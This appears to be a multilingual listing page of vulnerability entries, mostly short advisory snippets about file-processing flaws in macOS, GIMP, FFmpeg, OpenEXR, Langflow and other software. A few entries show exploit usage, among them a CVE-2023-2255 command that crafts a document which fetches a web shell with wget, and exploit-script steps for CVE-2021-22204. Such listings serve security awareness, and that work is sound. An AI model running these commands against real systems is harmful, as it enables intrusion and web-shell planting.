CVE-2024-38077-check

漏洞分析异步pdf文件。本人能力有限，还无法rce。请大佬指教。 漏洞验证只需要更改ip即可 root@kitploit: if name == 'main': printlogo connecttolicenseserver"192.168.6.132"...

CVE-2021-22204

受影响版本 7.44 12.23 复现步骤 root@kitploit: $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg 截图 参考 NVD-CVE-2021-22204...

Nemesis

概要 Nemesisは、オープンソースの集中型データ処理プラットフォームであり、攻撃セキュリティ評価中に収集されたファイルを取り込み、エンリッチメントし、人間とAIによる共同分析を可能にします。 Nemesis 2.0はDocker上に構築され、Daprとの強力な統合を備えています。Nemesisの目標は、「攻撃的VirusTotal」として機能する集中型ファイル処理プラットフォームを作成することでした。 注: 以前のNemesis 1.0.1コードベースはブランチとして保存されています セットアップ / インストール クイックスタートガイドに従ってください。 使い方 Nemesis...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE 及加载外部资源，由 @Icare1337 发现 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 漏洞利用 仅为在当前目录放置 web shell 的示例。 root@kitploit: python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output 'exploit.odt'...

CVE-2025-69212

CVE-2025-69212: OpenSTAManager 在 P7M 文件处理中存在 OS 命令注入 概述...

CVE-2026-84575

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted file may lead to unexpected app termination...

CVE-2026-43697

CVE-2026-43697 is an out-of-bounds read vulnerability in macOS triggered by processing a maliciously crafted 3D file . The flaw was addressed with improved bounds checking in macOS Golden Gate 27 , macOS Sequoia 15.8 , and macOS Tahoe 26.7 . No CVSS metrics or specific exploit details are provide...

EUVD-2026-77983

An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Processing a maliciously crafted file may result in unexpected app termination or disclosure of process memory...

CVE-2025-69212-PoC

CVE-2025-69212 OpenSTAManager = 2.9.8 — P7Mファイル処理におけるOSコマンドインジェクション 概要...

CVE-2026-90948

A flaw was found in GIMP's ICO file loader. When processing an ICO file containing an embedded PNG image, an integer overflow can occur during the calculation of the required buffer size. This leads to an undersized buffer being allocated, causing a heap-based buffer overflow when the decoded pix...

CVE-2025-43300

📚 CVE-2025-43300 - 漏洞详细分析 🎯 摘要 CVE-2025-43300 是一个在处理 DNG（数字负片）文件时发生的缓冲区溢出 漏洞，原因在于 TIFF 元数据与 JPEG 数据之间的不一致 ，可导致远程代码执行（RCE）。 🔍 1. DNG 文件结构剖析 分层结构： root@kitploit: DNG 文件 ├── TIFF 容器（元数据） │ ├── 文件头 │ ├── IFD（图像文件目录） │ │ ├── 标签 277：SamplesPerPixel（声明组件数量） │ │ ├── 标签 513：JpegOffset（JPEG 起始位置） │ │ └── 标...

Weaver OA 9.5 - Information Disclosure

A vulnerability was found in Weaver OA 9.5 and classified as problematic. This issue affects some unknown processing of the file /building/backmgr/urlpage/mobileurl/configfile/jx2config.ini. The manipulation leads to files or directories accessible. The attack may be initiated remotely. id:...

Microsoft Security Advisory CVE-2026-69522 – .NET and Visual Studio Remote Code Execution Vulnerability

Microsoft Security Advisory CVE-2026-69522 – .NET and Visual Studio Remote Code Execution Vulnerability Executive summary Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.DiaSymReader.Native. This advisory also provides guidance on what...

Microsoft Security Advisory CVE-2026-71328 – .NET and Visual Studio Remote Code Execution Vulnerability

Microsoft Security Advisory CVE-2026-71328 – .NET and Visual Studio Remote Code Execution Vulnerability Executive summary Microsoft is releasing this security advisory to provide information about a vulnerability in Microsoft.DiaSymReader.Native. This advisory also provides guidance on what...

CVE-2008-4654

CVE-2008-4654 A fully functional exploit for the stack-based buffer overflow vulnerability CVE-2008-4654 in VideoLan’s VLC Media Player 0.9.4 when processing TiVo files. It targets a 32-bit binary running on a 64-bit Windows system and uses a WOW64 egghunter to bypass limited stack space. Usage...

CVE-2026-19303 Langflow is vulnerable to arbitrary file write and arbitrary file deletion due to unvalidated paths in file-processing components

IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to delete arbitrary local files or directories due to improper limitation of a pathname to a restricted directory...

CVE-2026-38344

A flaw was found in FFmpeg. This vulnerability involves a NULL pointer dereference within the getminbuffersize function when processing specially crafted video files. An attacker could exploit this by providing a malicious video file, leading to a Denial of Service DoS. A Denial of Service attack...

CVE-2026-68515

OpenEXR is the reference implementation for the EXR image format used in the motion picture industry. A heap out-of-bounds write exists in the exrmultiview utility when combining two attacker-supplied, individually valid scanline EXR files whose union dataWindow is not aligned to one view's chann...

CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

MiracleLinux 9 : java-17-openjdk-17.0.20.0.8-1.2.el9.ML.1 (AXSA:2026-1630:13)

The remote MiracleLinux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the AXSA:2026-1630:13 advisory. JDK: Enhance TLS certificate handling CVE-2026-46968 JDK: Improve DTLS handshaking CVE-2026-46917 JDK: Enhance JPEG handling CVE-2026-47010 JDK:...